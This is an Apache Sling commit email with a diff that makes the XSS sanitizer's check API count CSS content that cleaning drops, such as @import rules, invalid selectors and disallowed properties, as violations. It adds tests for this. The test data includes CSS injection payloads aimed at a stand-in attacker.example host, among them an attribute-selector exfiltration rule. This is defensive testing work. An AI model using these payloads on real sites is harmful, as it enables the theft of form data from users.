This is an automated email from the ASF dual-hosted git repository.
joerghoh pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/sling-org-apache-sling-xss.git
The following commit(s) were added to refs/heads/master by this push:
new b85d33f SLING-13338 validation API did not reflect certain
sanitization outcomes
b85d33f is described below
commit b85d33f714e233d3bc3181ab0ee07a12c8ecf787
Author: Joerg Hoh <[email protected]>
AuthorDate: Mon Sep 14 18:25:09 2026 +0200
SLING-13338 validation API did not reflect certain sanitization outcomes
---
.../org/apache/sling/xss/impl/HtmlSanitizer.java | 12 +++--
.../sling/xss/impl/style/BatikCssCleaner.java | 56 ++++++++++++++++---
.../apache/sling/xss/impl/style/CleanedCss.java | 54 +++++++++++++++++++
.../apache/sling/xss/impl/style/CssValidator.java | 42 ++++++++++++++-
.../sling/xss/impl/style/StyleTagProcessor.java | 12 ++++-
.../xss/impl/style/ValidatingDocumentHandler.java | 30 +++++++++--
.../impl/HtmlSanitizerCssViolationCleanupTest.java | 63 ++++++++++++++++++++++
.../apache/sling/xss/impl/XSSFilterImplTest.java | 7 +++
8 files changed, 257 insertions(+), 19 deletions(-)
diff --git a/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
b/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
index 68edc97..0bb080f 100644
--- a/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
+++ b/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
@@ -24,6 +24,7 @@ import java.util.Objects;
import java.util.Set;
import org.apache.commons.lang3.StringUtils;
+import org.apache.sling.xss.impl.style.CssValidator;
import org.apache.sling.xss.impl.xml.AntiSamyPolicy;
import org.owasp.html.DynamicAttributesSanitizerPolicy;
import org.owasp.html.Handler;
@@ -88,9 +89,14 @@ public class HtmlSanitizer {
customPolicy.getDynamicAttributesPolicyMap(),
customPolicy.getOnInvalidRemoveTagList());
- org.owasp.html.HtmlSanitizer.sanitize(
- taintedHTML, dynamicPolicy,
customPolicy.getCssValidator().newStyleTagProcessor());
- return new SanitizedResult(sb.toString(),
dynamicPolicy.getNumberOfErrors());
+ CssValidator cssValidator = customPolicy.getCssValidator();
+ cssValidator.resetCssViolationCount();
+ org.owasp.html.HtmlSanitizer.sanitize(taintedHTML, dynamicPolicy,
cssValidator.newStyleTagProcessor());
+ // CSS cleaning rewrites style attributes and style tag contents
outside of the policy object;
+ // include its violations in the error count so that XSSFilter#check
cannot report input as
+ // violation-free while XSSFilter#filter would strip parts of it
+ int numberOfErrors = dynamicPolicy.getNumberOfErrors() +
cssValidator.getCssViolationCount();
+ return new SanitizedResult(sb.toString(), numberOfErrors);
}
private Set<String> reflectionGetTextContainers(PolicyFactory
policyFactory) {
diff --git a/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
b/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
index 204e500..e446886 100644
--- a/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
+++ b/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
@@ -26,6 +26,8 @@ import org.apache.sling.xss.impl.xml.AntiSamyPolicy.CssPolicy;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.w3c.css.sac.CSSException;
+import org.w3c.css.sac.CSSParseException;
+import org.w3c.css.sac.ErrorHandler;
import org.w3c.css.sac.InputSource;
public class BatikCssCleaner {
@@ -44,20 +46,23 @@ public class BatikCssCleaner {
* Parses a CSS stylesheet and returns it in a safe form
*
* @param untrustedCss a complete CSS stylesheet
- * @return the cleaned CSS stylesheet text
+ * @return the cleaned CSS stylesheet, together with whether any content
was dropped
*/
- public String cleanStylesheet(String untrustedCss) {
+ public CleanedCss cleanStylesheet(String untrustedCss) {
try {
if (untrustedCss.startsWith(CDATA_PRE) &&
untrustedCss.endsWith(CDATA_POST))
untrustedCss = untrustedCss.substring(CDATA_PRE.length(),
untrustedCss.length() - CDATA_POST.length());
Parser parser = new Parser();
ValidatingDocumentHandler handler = new
ValidatingDocumentHandler(cssPolicy, false);
+ RecoveredErrorTracker errorTracker = new RecoveredErrorTracker();
parser.setDocumentHandler(handler);
+ parser.setErrorHandler(errorTracker);
parser.parseStyleSheet(new InputSource(new
StringReader(untrustedCss)));
- return handler.getValidCss();
+ return new CleanedCss(
+ handler.getValidCss(), handler.hasDroppedContent() ||
errorTracker.hasRecoveredFromError());
} catch (CSSException | IOException e) {
logger.warn("Unexpected error while cleaning stylesheet", e);
- return "";
+ return new CleanedCss("", true);
}
}
@@ -65,18 +70,53 @@ public class BatikCssCleaner {
* Parses a CSS style declaration (i.e. the text of a <tt>style</tt>
attribute) and returns it in a safe form
*
* @param untrustedCss a css style declaration
- * @return the cleaned CSS style declaration
+ * @return the cleaned CSS style declaration, together with whether any
content was dropped
*/
- public String cleanStyleDeclaration(String untrustedCss) {
+ public CleanedCss cleanStyleDeclaration(String untrustedCss) {
try {
Parser parser = new Parser();
ValidatingDocumentHandler handler = new
ValidatingDocumentHandler(cssPolicy, true);
+ RecoveredErrorTracker errorTracker = new RecoveredErrorTracker();
parser.setDocumentHandler(handler);
+ parser.setErrorHandler(errorTracker);
parser.parseStyleDeclaration(new InputSource(new
StringReader(untrustedCss)));
- return handler.getValidCss();
+ return new CleanedCss(
+ handler.getValidCss(), handler.hasDroppedContent() ||
errorTracker.hasRecoveredFromError());
} catch (CSSException | IOException e) {
logger.warn("Unexpected error while cleaning style declaration",
e);
- return "";
+ return new CleanedCss("", true);
+ }
+ }
+
+ /**
+ * Batik's CSS parser recovers from malformed rules (e.g. CSS3 attribute
selector operators such as
+ * {@code ^=}, which the underlying SAC grammar does not support) by
reporting them through the
+ * {@link ErrorHandler} and skipping straight to the next statement,
without ever invoking the
+ * {@link org.w3c.css.sac.DocumentHandler} for the skipped rule. Without
this tracker such rules would
+ * be silently dropped from the cleaned output while leaving {@link
ValidatingDocumentHandler#hasDroppedContent()}
+ * {@code false}.
+ */
+ private static class RecoveredErrorTracker implements ErrorHandler {
+
+ private boolean recoveredFromError;
+
+ boolean hasRecoveredFromError() {
+ return recoveredFromError;
+ }
+
+ @Override
+ public void warning(CSSParseException e) {
+ // recoverable, does not cause content to be dropped
+ }
+
+ @Override
+ public void error(CSSParseException e) {
+ recoveredFromError = true;
+ }
+
+ @Override
+ public void fatalError(CSSParseException e) {
+ recoveredFromError = true;
}
}
}
diff --git a/src/main/java/org/apache/sling/xss/impl/style/CleanedCss.java
b/src/main/java/org/apache/sling/xss/impl/style/CleanedCss.java
new file mode 100644
index 0000000..cf5554f
--- /dev/null
+++ b/src/main/java/org/apache/sling/xss/impl/style/CleanedCss.java
@@ -0,0 +1,54 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.sling.xss.impl.style;
+
+/**
+ * The result of cleaning untrusted CSS: the cleaned text, plus whether any
disallowed content was
+ * dropped while producing it. The drop indicator allows callers to count
policy violations that would
+ * otherwise be invisible, since cleaning always returns a (possibly empty)
string.
+ */
+public class CleanedCss {
+
+ private final String css;
+ private final boolean droppedContent;
+
+ CleanedCss(String css, boolean droppedContent) {
+ this.css = css;
+ this.droppedContent = droppedContent;
+ }
+
+ /**
+ * Returns the cleaned CSS text.
+ *
+ * @return the cleaned CSS text, never {@code null}
+ */
+ public String getCss() {
+ return css;
+ }
+
+ /**
+ * Returns {@code true} when disallowed content (selectors, property
values, {@code @import} or other
+ * at-rules) was dropped while cleaning, i.e. the input was not
violation-free.
+ *
+ * @return {@code true} if content was dropped, {@code false} otherwise
+ */
+ public boolean hasDroppedContent() {
+ return droppedContent;
+ }
+}
diff --git a/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
b/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
index 0bf0fd7..9591d4e 100644
--- a/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
+++ b/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
@@ -21,6 +21,7 @@ package org.apache.sling.xss.impl.style;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
import org.apache.sling.xss.impl.xml.AntiSamyPolicy.CssPolicy;
import org.owasp.html.AttributePolicy;
@@ -34,19 +35,56 @@ public class CssValidator {
private final BatikCssCleaner cssParser;
private final List<String> disallowedTagNames = new ArrayList<>();
+ /*
+ The attribute policies and style tag processors created below are baked
into a shared, reusable
+ PolicyFactory, so they cannot carry per-scan state themselves. Scans are
synchronous on the calling
+ thread, so a thread-local counter gives each scan its own CSS violation
count (see
+ org.apache.sling.xss.impl.HtmlSanitizer#scan).
+ */
+ private final ThreadLocal<AtomicInteger> cssViolations =
ThreadLocal.withInitial(AtomicInteger::new);
+
public CssValidator(CssPolicy cssPolicy) {
cssParser = new BatikCssCleaner(cssPolicy);
}
public HtmlStreamEventProcessor newStyleTagProcessor() {
- return new StyleTagProcessor(cssParser);
+ return new StyleTagProcessor(cssParser, this::reportDroppedContent);
}
public AttributePolicy newCssAttributePolicy() {
- return (String elementName, String attributeName, String value) ->
cssParser.cleanStyleDeclaration(value);
+ return (String elementName, String attributeName, String value) -> {
+ CleanedCss cleaned = cssParser.cleanStyleDeclaration(value);
+ if (cleaned.hasDroppedContent()) {
+ // count the violation so that XSSFilter#check does not report
input as clean
+ // when filtering would strip parts of it
+ reportDroppedContent();
+ }
+ return cleaned.getCss();
+ };
}
public List<String> getDisallowedTagNames() {
return Collections.unmodifiableList(disallowedTagNames);
}
+
+ /**
+ * Resets the CSS violation count recorded for the current thread. Must be
called before a scan starts.
+ */
+ public void resetCssViolationCount() {
+ cssViolations.get().set(0);
+ }
+
+ /**
+ * Returns the number of CSS violations (dropped selectors, property
values, {@code @import} or other
+ * at-rules) recorded on the current thread since the last call to {@link
#resetCssViolationCount()}.
+ *
+ * @return the number of CSS violations recorded for the current thread
+ */
+ public int getCssViolationCount() {
+ return cssViolations.get().get();
+ }
+
+ private void reportDroppedContent() {
+ cssViolations.get().incrementAndGet();
+ }
}
diff --git
a/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
b/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
index daabe29..cdac07e 100644
--- a/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
+++ b/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
@@ -26,9 +26,11 @@ import org.owasp.html.HtmlStreamEventReceiver;
class StyleTagProcessor implements HtmlStreamEventProcessor {
private final BatikCssCleaner cssCleaner;
+ private final Runnable onDroppedContent;
- StyleTagProcessor(BatikCssCleaner cssCleaner) {
+ StyleTagProcessor(BatikCssCleaner cssCleaner, Runnable onDroppedContent) {
this.cssCleaner = cssCleaner;
+ this.onDroppedContent = onDroppedContent;
}
@Override
@@ -70,7 +72,13 @@ class StyleTagProcessor implements HtmlStreamEventProcessor {
@Override
public void text(String taintedCss) {
if (inStyleTag) {
- wrapped.text(cssCleaner.cleanStylesheet(taintedCss));
+ CleanedCss cleanedCss = cssCleaner.cleanStylesheet(taintedCss);
+ if (cleanedCss.hasDroppedContent()) {
+ // report the violation so that XSSFilter#check does not
report input as clean
+ // when filtering would strip parts of it
+ onDroppedContent.run();
+ }
+ wrapped.text(cleanedCss.getCss());
} else {
wrapped.text(taintedCss);
}
diff --git
a/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
b/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
index 23b98b1..51cee5d 100644
---
a/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
+++
b/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
@@ -47,6 +47,7 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
private final boolean isInLine;
private boolean isInSelector;
+ private boolean droppedContent;
public ValidatingDocumentHandler(CssPolicy cssPolicy, boolean isInLine) {
this.cssPolicy = cssPolicy;
@@ -57,6 +58,9 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
public void startSelector(SelectorList selectors) throws CSSException {
List<String> validSelectors = validateSelectors(selectors);
+ if (validSelectors.size() < selectors.getLength()) {
+ droppedContent = true;
+ }
if (validSelectors.isEmpty()) return;
StringJoiner joiner = new StringJoiner(", ", "", " {\n");
@@ -76,6 +80,7 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
@Override
public void property(String name, LexicalUnit value, boolean important)
throws CSSException {
if (!isInSelector && !isInLine) {
+ droppedContent = true;
return;
}
@@ -154,7 +159,10 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
String stringValue = lexicalValueToString(value);
value = value.getNextLexicalUnit();
boolean isValid = validateProperty(name, stringValue);
- if (!isValid) continue;
+ if (!isValid) {
+ droppedContent = true;
+ continue;
+ }
validPropertyValues.add(stringValue);
}
return validPropertyValues;
@@ -164,6 +172,17 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
return cleanCss.toString();
}
+ /**
+ * Returns {@code true} when this handler dropped CSS content while
producing the cleaned output -
+ * disallowed selectors, disallowed property values, {@code @import} rules
or other at-rules. Formatting
+ * changes coming from re-serialising the parsed CSS are not reported as
drops.
+ *
+ * @return {@code true} if content was dropped, {@code false} otherwise
+ */
+ public boolean hasDroppedContent() {
+ return droppedContent;
+ }
+
private boolean validateProperty(String name, String lexicalValueToString)
{
if (lexicalValueToString == null) return false;
@@ -263,7 +282,9 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
@Override
public void importStyle(String uri, SACMediaList media, String
defaultNamespaceURI) throws CSSException {
- // embedded stylesheets are not supported
+ // embedded stylesheets are not supported; record the drop so that the
input is not
+ // reported as violation-free
+ droppedContent = true;
}
@Override
@@ -283,8 +304,9 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
@Override
public void ignorableAtRule(String atRule) throws CSSException {
- // nothing to do
-
+ // at-rules are not part of the cleaned output; record the drop so
that the input is not
+ // reported as violation-free
+ droppedContent = true;
}
@Override
diff --git
a/src/test/java/org/apache/sling/xss/impl/HtmlSanitizerCssViolationCleanupTest.java
b/src/test/java/org/apache/sling/xss/impl/HtmlSanitizerCssViolationCleanupTest.java
new file mode 100644
index 0000000..b0e17ba
--- /dev/null
+++
b/src/test/java/org/apache/sling/xss/impl/HtmlSanitizerCssViolationCleanupTest.java
@@ -0,0 +1,63 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.sling.xss.impl;
+
+import javax.xml.stream.XMLStreamException;
+
+import java.io.IOException;
+
+import org.apache.sling.xss.impl.xml.AntiSamyPolicy;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * The CSS violation count that {@link
org.apache.sling.xss.impl.style.CssValidator} tracks for a scan is
+ * held in a {@code ThreadLocal} and reset at the start of every {@link
HtmlSanitizer#scan(String)} call.
+ * Verifies that this reset actually happens on every scan, so that a
violation recorded while scanning
+ * one input on a thread does not leak into the result of the next scan on
that same, reused thread.
+ */
+public class HtmlSanitizerCssViolationCleanupTest {
+
+ public static final String POLICY_FILE = "SLING-INF/content/config.xml";
+
+ private static HtmlSanitizer antiSamy;
+
+ @BeforeAll
+ public static void setup() throws InvalidConfigException,
XMLStreamException, IOException {
+ antiSamy = new HtmlSanitizer(new AntiSamyPolicy(
+
HtmlSanitizerCssViolationCleanupTest.class.getClassLoader().getResourceAsStream(POLICY_FILE)));
+ }
+
+ @Test
+ public void
testCssViolationFromPreviousScanDoesNotLeakIntoNextScanOnSameThread() {
+ SanitizedResult withViolation = antiSamy.scan("<p
style=\"behavior:url(#default#userData)\">hi</p>");
+ assertTrue(
+ withViolation.getNumberOfErrors() > 0,
+ "Expected the disallowed 'behavior' CSS property to be
reported as an error.");
+
+ SanitizedResult clean = antiSamy.scan("<p style=\"color:red\">hi</p>");
+ assertEquals(
+ 0,
+ clean.getNumberOfErrors(),
+ "The CSS violation from the previous scan on this thread must
not carry over into this scan.");
+ }
+}
diff --git a/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
b/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
index 01abd8d..5791839 100644
--- a/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
+++ b/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
@@ -97,6 +97,13 @@ public class XSSFilterImplTest {
testData.add(new Object[] {"<table border=\"green\">invalid
Test</table>", false});
testData.add(new Object[] {"<script>invalid Test</script>", false});
testData.add(new Object[] {"", false});
+ // CSS violations that filter() would strip must not be reported as
violation-free by check()
+ testData.add(new Object[] {"<style>@import
url(\"https://attacker.example/malicious.css\";);</style>", false});
+ testData.add(new Object[] {
+ "<style>input[value^=\"a\"] {background:
url(\"//attacker.example/log?a\");}</style>", false
+ });
+ testData.add(new Object[] {"<p
style=\"behavior:url(#default#userData)\">hi</p>", false});
+ testData.add(new Object[] {"<style>h1 {color:red;
behavior:url(#default#userData);}</style>", false});
return testData;
}
